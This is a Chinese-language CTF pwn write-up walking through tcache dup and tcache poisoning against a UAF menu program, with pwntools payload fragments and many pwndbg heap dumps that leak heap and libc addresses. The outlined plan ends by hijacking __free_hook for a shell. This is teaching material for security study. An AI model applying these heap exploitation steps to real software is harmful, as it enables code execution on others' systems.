Tcache Attack中的Tcache Poisoning和Tcache dup(例子)

参考资料:PWN入门(3-16-3)-Tcache Attack中的Tcache Poisoning和Tcache dup(例子) (yuque.com)Cyberangel佬写的tql

附件下载:

链接:https://pan.baidu.com/s/1GfP5a_Dtbv0sKLAo35A9Ow
提取码:yczj
–来自百度网盘超级会员V3的分享

Linux环境

image-20230814224419768

本次实验,我采用的是通过patchelf修改libc文件后再进行实验,因为我使用的Ubuntu16.04的libc版本为2.23,没有tcache机制。

具体patchelf使用方法,详见https://zhuyuan1213.top/2023/08/12/glibc%E7%89%88%E6%9C%AC%E7%9A%84%E6%9B%B4%E6%8D%A2/

IDA静态分析

image-20230814111524425

image-20230814111607694

菜单界面。

1、add-添加函数

image-20230814122025451

image-20230814122046815

通过add函数申请一块固定大小的堆块。并且堆块指针保存在memo全局变量中。

2、show函数

image-20230814122212457

查看malloc出的一个堆块。

3、delete函数(存在UAF)

image-20230814122340738

只释放了堆块,但memo指针没有置空,存在UAF漏洞。

0、exit函数

退出程序。

Pwngdb动态调试

查看文件保护

image-20230814122806520

保护全开,但在pwngdb调试时程序内存分布不会随机化

第一次输入内容:

gdb运行程序,第一次输入内容:12345678

然后观察内存:

image-20230814131231150

1
2
3
4
5
6
7
8
9
10
11
12
13
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251
0x555555759010: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x555555759240: 0x0000000000000000 0x0000000000000000
0x555555759250: 0x0000000000000000 0x0000000000000411 #输入时自动申请的缓冲区,没有影响
0x555555759260: 0x3837363534333231 0x000000000000000a
......(省略为空)
0x555555759660: 0x0000000000000000 0x0000000000000051 #chunkl
0x555555759670: 0x3837363534333231 0x0000000000000000
#12345678(小端序)
......(省略为空)
0x5555557596b0: 0x0000000000000000 0x0000000000020951 #top_chunk

image-20230814131517527

此时memo指向的就是malloc chunk1的data。

第二次输入内容

输入c后继续运行程序,输入 “qwertyuiop” ,再次查看内存情况:

image-20230814132110398

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251
0x555555759010: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x555555759240: 0x0000000000000000 0x0000000000000000
0x555555759250: 0x0000000000000000 0x0000000000000411 #输入时自动申请的缓冲区,没有影响
0x555555759260: 0x6975797472657771 0x00000000000a706f
......(省略为空)
0x555555759660: 0x0000000000000000 0x0000000000000051 #chunkl
0x555555759670: 0x3837363534333231 0x0000000000000000
#qwertyuiop(小端序)
......(省略为空)
0x5555557596b0: 0x0000000000000000 0x0000000000000051
0x5555557596c0: 0x6975797472657771 0x000000000000706f

......(省略为空)
0x555555759700: 0x0000000000000000 0x0000000000020951 #top_chunk

image-20230814132512888

此时memo指向的是malloc chunk2的data。

所以根据这两次输入,得出一个结论:

每当再次malloc时,原来的堆块不会消失,但是之后malloc出的chunk指针覆盖了原来指针地址并且指向了新的chunk_data。之后的free也是根据memo的内容来写的。

free第二个堆块

free之前创建的第二个chunk:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
pwndbg> heap
0x555555759000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x1000000,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555759250 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 1041,
fd = 0x6975797472650a33,
bk = 0xa706f,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555759660 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 81,
fd = 0x3837363534333231,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x5555557596b0 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 81,
fd = 0x0,
bk = 0x706f,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555759700 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 133377,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> bin
tcachebins
0x50 [ 1]: 0x5555557596c0 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x0
smallbins
empty
largebins
empty

再看一下memo指针:

image-20230814133528079

由于delete函数中存在的UAF漏洞,所以memo指针地址没有清空。

Attack大致思路

题目attack步骤如下:

  1. 利用Tcache dup泄露堆地址。
  2. 使用泄露的堆地址喝tcache poisoning在内存中伪造大小为0x91的chunk。
  3. free此0x91大小的块7次来填充满0x90 tcache bin。再释放一次就会将free chunk放入到unsortedbin中泄露libc。
  4. 利用tcache poisoning攻击覆盖__free_hook到one_gadget。
  5. 释放chunk,用于调用execve(‘/bin/sh’)并getshell。

模仿程序的功能

1
2
3
4
5
6
7
8
9
def add(content):
p.sendlineafter('> ', '1')
p.sendlineafter('> ', content)

def show():
p.sendlineafter('> ', '2')

def free():
p.sendlineafter('> ', '3')

泄露堆地址

由于这个程序开启了PIE保护,这样程序每次运行的地址都是随机的。要泄露libc的基地址就要先泄露出堆的地址。由于程序存在UAF漏洞,因此可以对同一个chunk多次进行free。

部分payload:

1
2
3
4
5
6
7
8
9
10
11
12
add('A'*0x3e)
#gdb.attach(p)

# We do four frees to set the 0x40 tcache bin count to 4
for i in range(4):
free()

# Leak the fourth chunk's address on the heap
show()

heap_leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
log.info('Heap leak: ' + hex(heap_leak))

申请chunk1,memo=’A’*0x3e

首先先申请chunk的内容为0x3e个’A’,申请之后内存状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
pwndbg> heap
0x555555759000 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 593,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
0x555555759250 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 4113,
fd = 0x4141414141414141,
bk = 0x4141414141414141,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141
}
0x55555575a260 FASTBIN {
mchunk_prev_size = 0,
mchunk_size = 81,
fd = 0x4141414141414141,
bk = 0x4141414141414141,
fd_nextsize = 0x4141414141414141,
bk_nextsize = 0x4141414141414141
}
0x55555575a2b0 PREV_INUSE {
mchunk_prev_size = 0,
mchunk_size = 130385,
fd = 0x0,
bk = 0x0,
fd_nextsize = 0x0,
bk_nextsize = 0x0
}
pwndbg> x/160gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
......(省略为空)
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x4141414141414141 0x4141414141414141
0x555555759270: 0x4141414141414141 0x4141414141414141
0x555555759280: 0x4141414141414141 0x4141414141414141
0x555555759290: 0x4141414141414141 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141414141
0x55555575a280: 0x4141414141414141 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141
0x55555575a2b0: 0x0000000000000000 0x000000000001fd51 #top_chunk

利用tcache_dup漏洞4次free(chunk1)

然后对chunk1进行多次free:

1
2
for i in range(4):
free()

看一下内存:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000004000000 0x0000000000000000
......(省略为空)#4个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x000055555575a270
......(省略为空) #指向chunk1_data
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x4141414141410a33 0x4141414141414141
0x555555759270: 0x4141414141414141 0x4141414141414141
0x555555759280: 0x4141414141414141 0x4141414141414141
0x555555759290: 0x4141414141414141 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x000055555575a270 0x4141414141414141
#指向chunk1_data(自身)
0x55555575a280: 0x4141414141414141 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141
0x55555575a2b0: 0x0000000000000000 0x000000000001fd51 #top_chunk

image-20230814180342956

heap_leak很容易。添加一个chunk并释放四次,再打印其memo就可以得到heap的地址。从上面可以看到free同一堆块四次后打乱了0x50 tcache bin保存的chunk数目(实际bin中只有两条链,虽然都是同一个链)。但是不要担心,之后的步骤会修复此数目。

打印chunk1的memo

当我们打印chunk1的内容时,前8个字节就是chunk1的地址。

泄露Libc基地址

此时,tcache的0x50 bin中已经存在四个free_chunk。(其实都是同一个

部分payload:

1
2
add(p64(0) + 'A'*8) # Set FD to null here
add('A'*8) # 0x40 tcache bin now empty

在tcache中malloc出第一个free_chunk

执行之后,查看内存布局:

image-20230814180913281

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000003000000 0x0000000000000000
......(省略为空)#3个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x000055555575a270
......(省略为空) #指向chunk1_data
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x4141414141410a33 0x4141414141414141
0x555555759270: 0x4141414141414141 0x4141414141414141
0x555555759280: 0x4141414141414141 0x4141414141414141
0x555555759290: 0x4141414141414141 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x0000000000000000 0x4141414141414141
#chun1_next指针被清空
#指向chunk1_data(自身)
0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141

0x55555575a2b0: 0x0000000000000000 0x000000000001fd51 #top_chunk

image-20230814181322184

和之前的内存状况相比较,由于tcache中存在相当于4个free_chunk1,因此在申请的时候优先使用这4个free_chunk1。所以add(p64(0)+ ‘A’*8)时候修改的是chunk1的memo。

这—小段payload的目的是为了清空free_chunk1的next指针

此时tcache的0x50 bin中还存在3个free_chunk1

在tcache中malloc出第二个free_chunk1

重新malloc同一chunk之后,原有的memo并不会消失,而是写入时直接覆盖原有memo

1
add('A'*8) # 0x40 tcache bin now empty

执行之后的内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000002000000 0x0000000000000000
......(省略为空)#2个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x0000000000000000
......(省略为空) #实际已经空了
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x4141414141410a33 0x4141414141414141
0x555555759270: 0x4141414141414141 0x4141414141414141
0x555555759280: 0x4141414141414141 0x4141414141414141
0x555555759290: 0x4141414141414141 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141410000

0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141

0x55555575a2b0: 0x0000000000000000 0x000000000001fd51 #top_chunk

image-20230814182218839

通过这两次的malloc,tcachebin的0x50链中剩余两个free_chunk(实际上已经没有了)。

malloc4个新堆块

部分payload:

1
2
for i in range(4):
add((p64(heap_leak) + p64(0x91)) * 3)

上面是创建4个chunk来为泄露libc基地址做好准备,添加堆块的内容均为heap_leak+0x91。

虽然显示的是tcachebin中仍然有2个free_chunk,由于之前我们使用了tcache dup,因此此时实际上tcachebin已空。所以,4个malloc是创建了4个新的堆块,malloc之后tcache_bin的数目不会变化,结果下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000002000000 0x0000000000000000
......(省略为空)#2个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x0000000000000000
......(省略为空)
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x000055555575a270 0x0000000000000091
0x555555759270: 0x000055555575a270 0x0000000000000091
0x555555759280: 0x000055555575a270 0x0000000000000091
0x555555759290: 0x414141414141410a 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141410000
0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141
0x55555575a2b0: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk2

0x55555575a2c0: 0x000055555575a270 0x0000000000000091
0x55555575a2d0: 0x000055555575a270 0x0000000000000091
0x55555575a2e0: 0x000055555575a270 0x0000000000000091
0x55555575a2f0: 0x000000000000000a 0x0000000000000000

0x55555575a300: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk3
0x55555575a310: 0x000055555575a270 0x0000000000000091
0x55555575a320: 0x000055555575a270 0x0000000000000091
0x55555575a330: 0x000055555575a270 0x0000000000000091
0x55555575a340: 0x000000000000000a 0x0000000000000000

0x55555575a350: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk4
0x55555575a360: 0x000055555575a270 0x0000000000000091
0x55555575a370: 0x000055555575a270 0x0000000000000091
0x55555575a380: 0x000055555575a270 0x0000000000000091
0x55555575a390: 0x000000000000000a 0x0000000000000000

0x55555575a3a0: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk5
0x55555575a3b0: 0x000055555575a270 0x0000000000000091
0x55555575a3c0: 0x000055555575a270 0x0000000000000091
0x55555575a3d0: 0x000055555575a270 0x0000000000000091
0x55555575a3e0: 0x000000000000000a 0x0000000000000000
0x55555575a3f0: 0x0000000000000000 0x000000000001fc11 #top_chunk

image-20230814183308688

释放两次chunk5到tcache

因为UAF的原因,两次free指的是free两次chunk5

部分payload:

1
2
free() # count = 3
free() # count = 4

执行后,内存状况如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000004000000 0x0000000000000000
......(省略为空)#4个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x000055555575a3b0
......(省略为空) #指向chunk5_data
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x000055555575a270 0x0000000000000091
0x555555759270: 0x000055555575a270 0x0000000000000091
0x555555759280: 0x000055555575a270 0x0000000000000091
0x555555759290: 0x414141414141410a 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141410000
0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141
0x55555575a2b0: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk2

0x55555575a2c0: 0x000055555575a270 0x0000000000000091
0x55555575a2d0: 0x000055555575a270 0x0000000000000091
0x55555575a2e0: 0x000055555575a270 0x0000000000000091
0x55555575a2f0: 0x000000000000000a 0x0000000000000000

0x55555575a300: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk3
0x55555575a310: 0x000055555575a270 0x0000000000000091
0x55555575a320: 0x000055555575a270 0x0000000000000091
0x55555575a330: 0x000055555575a270 0x0000000000000091
0x55555575a340: 0x000000000000000a 0x0000000000000000

0x55555575a350: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk4
0x55555575a360: 0x000055555575a270 0x0000000000000091
0x55555575a370: 0x000055555575a270 0x0000000000000091
0x55555575a380: 0x000055555575a270 0x0000000000000091
0x55555575a390: 0x000000000000000a 0x0000000000000000

0x55555575a3a0: 0x0000000000000000 0x0000000000000051 #new_malloc_chunk5
0x55555575a3b0: 0x000055555575a3b0 0x0000000000000091
#指向自身data
0x55555575a3c0: 0x000055555575a270 0x0000000000000091
0x55555575a3d0: 0x000055555575a270 0x0000000000000091
0x55555575a3e0: 0x000000000000000a 0x0000000000000000
0x55555575a3f0: 0x0000000000000000 0x000000000001fc11 #top_chunk

image-20230814184234673

设置chunk5的next指针,让其指向0xx91的fake_chunk1

接下来我们设置chunk5的next指针,让其指向其中一个大小为0x91的fake_chunk。因为tcachebin中有4个free_chunk,但是实际上只有一个free_chunk5。

部分payload如下:

1
2
3
4
# Set FD to one of the fake 0x91 chunks
add(p64(heap_leak + 0x60)) # count = 3
add('A'*8) # count = 2
add('A'*8) # Got a 0x91 chunk, count = 1

heap_leak = 0x55555575a270

heap_leak + 0x60 = 0x55555575a3d0

由于tcache中只有chunk5,因此第一个add是更改chunk5的next指针,让其指向大小为Ox91的fake_chunk。

执行add(p64(heap_leak + Ox60))之后的结果如下: (tcache_poisoning)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000003000000 0x0000000000000000
......(省略为空)#3个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x000055555575a3b0
......(省略为空) #指向chunk5_data
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x000055555575a270 0x0000000000000091
0x555555759270: 0x000055555575a270 0x0000000000000091
0x555555759280: 0x000055555575a270 0x0000000000000091
0x555555759290: 0x414141414141410a 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141410000
0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141

0x55555575a2b0: 0x0000000000000000 0x0000000000000051 #chunk2
0x55555575a2c0: 0x000055555575a270 0x0000000000000091
0x55555575a2d0: 0x000055555575a270 0x0000000000000091 #fake_chunk1
0x55555575a2e0: 0x000055555575a270 0x0000000000000091
0x55555575a2f0: 0x000000000000000a 0x0000000000000000

0x55555575a300: 0x0000000000000000 0x0000000000000051 #chunk3
0x55555575a310: 0x000055555575a270 0x0000000000000091
0x55555575a320: 0x000055555575a270 0x0000000000000091
0x55555575a330: 0x000055555575a270 0x0000000000000091
0x55555575a340: 0x000000000000000a 0x0000000000000000

0x55555575a350: 0x0000000000000000 0x0000000000000051 #chunk4
0x55555575a360: 0x000055555575a270 0x0000000000000091
0x55555575a370: 0x000055555575a270 0x0000000000000091
0x55555575a380: 0x000055555575a270 0x0000000000000091
0x55555575a390: 0x000000000000000a 0x0000000000000000

0x55555575a3a0: 0x0000000000000000 0x0000000000000051 #chunk5
0x55555575a3b0: 0x000055555575a2d0 0x000000000000000a
#chunk5next指针,指向0x91的fake_chunk
0x55555575a3c0: 0x000055555575a270 0x0000000000000091
0x55555575a3d0: 0x000055555575a270 0x0000000000000091
0x55555575a3e0: 0x000000000000000a 0x0000000000000000
0x55555575a3f0: 0x0000000000000000 0x000000000001fc11 #top_chunk

image-20230814193419851

可以看到,当我们修改了chunk5的next指针后,count的数目就自动恢复了,也就是说堆的管理机制会根据tcache中的count数目来关联free chunk。

由于tcachebins中最后放入的chunk地址为0x55555575a3b0,因此程序执行add(‘a’*8)之后会使用chunk5:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000002000000 0x0000000000000000
......(省略为空)#2个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x000055555575a2d0
......(省略为空) #指向fake_chunk1
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x4141414141414141 0x000000000000000a
0x555555759270: 0x000055555575a270 0x0000000000000091 #fake_chunk2
0x555555759280: 0x000055555575a270 0x0000000000000091
0x555555759290: 0x414141414141410a 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141410000
0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141

0x55555575a2b0: 0x0000000000000000 0x0000000000000051 #chunk2
0x55555575a2c0: 0x000055555575a270 0x0000000000000091
0x55555575a2d0: 0x000055555575a270 0x0000000000000091 #fake_chunk1
0x55555575a2e0: 0x000055555575a270 0x0000000000000091
0x55555575a2f0: 0x000000000000000a 0x0000000000000000
#指向fake_chunk2
0x55555575a300: 0x0000000000000000 0x0000000000000051 #chunk3
0x55555575a310: 0x000055555575a270 0x0000000000000091
0x55555575a320: 0x000055555575a270 0x0000000000000091
0x55555575a330: 0x000055555575a270 0x0000000000000091
0x55555575a340: 0x000000000000000a 0x0000000000000000

0x55555575a350: 0x0000000000000000 0x0000000000000051 #chunk4
0x55555575a360: 0x000055555575a270 0x0000000000000091
0x55555575a370: 0x000055555575a270 0x0000000000000091
0x55555575a380: 0x000055555575a270 0x0000000000000091
0x55555575a390: 0x000000000000000a 0x0000000000000000

0x55555575a3a0: 0x0000000000000000 0x0000000000000051 #chunk5
0x55555575a3b0: 0x4141414141414141 0x000000000000000a
#8*'A'
0x55555575a3c0: 0x000055555575a270 0x0000000000000091
0x55555575a3d0: 0x000055555575a270 0x0000000000000091
0x55555575a3e0: 0x000000000000000a 0x0000000000000000
0x55555575a3f0: 0x0000000000000000 0x000000000001fc11 #top_chunk

image-20230814194321896

同理,再次执行add(‘a’*8),程序会使用地址为0x55555575a2d0的fake_chunk1:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0000000001000000 0x0000000000000000
......(省略为空)#1个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x000055555575a270
......(省略为空)
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x4141414141414141 0x000000000000000a
0x555555759270: 0x000055555575a270 0x0000000000000091 #fake_chunk2
0x555555759280: 0x000055555575a270 0x0000000000000091
0x555555759290: 0x414141414141410a 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141410000
0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141

0x55555575a2b0: 0x0000000000000000 0x0000000000000051 #chunk2
0x55555575a2c0: 0x000055555575a270 0x0000000000000091 #fake_chunk1
0x55555575a2d0: 0x4141414141414141 0x0000000000000000
0x55555575a2e0: 0x000055555575a270 0x0000000000000091
0x55555575a2f0: 0x000000000000000a 0x0000000000000000
#指向fake_chunk2
0x55555575a300: 0x0000000000000000 0x0000000000000051 #chunk3
0x55555575a310: 0x000055555575a270 0x0000000000000091
0x55555575a320: 0x000055555575a270 0x0000000000000091
0x55555575a330: 0x000055555575a270 0x0000000000000091
0x55555575a340: 0x000000000000000a 0x0000000000000000

0x55555575a350: 0x0000000000000000 0x0000000000000051 #chunk4
0x55555575a360: 0x000055555575a270 0x0000000000000091
0x55555575a370: 0x000055555575a270 0x0000000000000091
0x55555575a380: 0x000055555575a270 0x0000000000000091
0x55555575a390: 0x000000000000000a 0x0000000000000000

0x55555575a3a0: 0x0000000000000000 0x0000000000000051 #chunk5
0x55555575a3b0: 0x4141414141414141 0x000000000000000a
#8*'A'
0x55555575a3c0: 0x000055555575a270 0x0000000000000091
0x55555575a3d0: 0x000055555575a270 0x0000000000000091
0x55555575a3e0: 0x000000000000000a 0x0000000000000000
0x55555575a3f0: 0x0000000000000000 0x000000000001fc11 #top_chunk

image-20230814212648877

tcachebins中现在只有一个chunk–chunk1

利用unsortedbin泄露libc基地址

来看一下此时程序bss段中memo指针变量:

1
2
3
4
5
6
7
8
9
10
pwndbg> x/16gx 0x555555756050
0x555555756050: 0x000055555575a2d0 0x001a000300000000
#指向fake_chunk1
0x555555756060: 0x0000000000203230 0x0000000000000000
0x555555756070: 0x0001000300000000 0x0000000000000254
0x555555756080: 0x0000000000000000 0x0002000300000000
0x555555756090: 0x0000000000000274 0x0000000000000000
0x5555557560a0: 0x0003000300000000 0x0000000000000298
0x5555557560b0: 0x0000000000000000 0x0004000300000000
0x5555557560c0: 0x00000000000002c8 0x0000000000000000

由于这时memo指针指向fake_chunk1,接下来的对chunk进行7次free来是针对fake_chunk1的,以此来填满tcache_bin。

部分payload如下:

1
2
3
4
5
6
# Free 7 times to fill up tcache bin, 8th one goes into unsorted bin
for i in range(8):
free()
show()
leak = u64(p.recvline().strip('\n').ljust(8, '\x00'))
libc.address = leak - 0x3ebca0 # Offset found using gdb

由于在free7次之后,tcache的0x90链已满,但是0x90大小的chunk并不符合fastbin的大小,因此第8次free之后会放入unsortedbin中,这也就是我们为什么要伪造大小为0x91的fake_chunk。

第八次free之后的chunk将进入unsortedbin,当chunk进入unsortedbin之后,打印其memo就会泄露libc的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
pwndbg> x/120gx 0x555555759000
0x555555759000: 0x0000000000000000 0x0000000000000251 #tcache_perthread_struct
0x555555759010: 0x0700000001000000 0x0000000000000000
......(省略为空)#8个tcache_bin_chunk
0x555555759050: 0x0000000000000000 0x0000000000000000
0x555555759060: 0x0000000000000000 0x000055555575a270
0x555555759070: 0x0000000000000000 0x0000000000000000
0x555555759080: 0x0000000000000000 0x000055555575a2d0
0x555555759250: 0x0000000000000000 0x0000000000001011 #malloc_butter
0x555555759260: 0x4141414141410a33 0x000000000000000a
0x555555759270: 0x000055555575a270 0x0000000000000091 #fake_chunk2
0x555555759280: 0x000055555575a270 0x0000000000000091
0x555555759290: 0x414141414141410a 0x000a414141414141
......(省略为空)
0x55555575a260: 0x0000000000000000 0x0000000000000051 #chunk1
0x55555575a270: 0x4141414141414141 0x4141414141410000
0x55555575a280: 0x414141414141000a 0x4141414141414141
0x55555575a290: 0x4141414141414141 0x4141414141414141
0x55555575a2a0: 0x4141414141414141 0x0000414141414141

0x55555575a2b0: 0x0000000000000000 0x0000000000000051 #chunk2
0x55555575a2c0: 0x000055555575a270 0x0000000000000091 #fake_chunk1
0x55555575a2d0: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
0x55555575a2e0: 0x000055555575a270 0x0000000000000091
0x55555575a2f0: 0x000000000000000a 0x0000000000000000
#指向fake_chunk2
0x55555575a300: 0x0000000000000000 0x0000000000000051 #chunk3
0x55555575a310: 0x000055555575a270 0x0000000000000091
0x55555575a320: 0x000055555575a270 0x0000000000000091
0x55555575a330: 0x000055555575a270 0x0000000000000091
0x55555575a340: 0x000000000000000a 0x0000000000000000

0x55555575a350: 0x0000000000000000 0x0000000000000051 #chunk4
0x55555575a360: 0x000055555575a270 0x0000000000000091
0x55555575a370: 0x000055555575a270 0x0000000000000091
0x55555575a380: 0x000055555575a270 0x0000000000000091
0x55555575a390: 0x000000000000000a 0x0000000000000000

0x55555575a3a0: 0x0000000000000000 0x0000000000000051 #chunk5
0x55555575a3b0: 0x4141414141414141 0x000000000000000a
#8*'A'
0x55555575a3c0: 0x000055555575a270 0x0000000000000091
0x55555575a3d0: 0x000055555575a270 0x0000000000000091
0x55555575a3e0: 0x000000000000000a 0x0000000000000000
0x55555575a3f0: 0x0000000000000000 0x000000000001fc11 #top_chunk

pwndbg> bin
tcachebins
0x50 [ 1]: 0x55555575a270 ◂— 'AAAAAAAA'
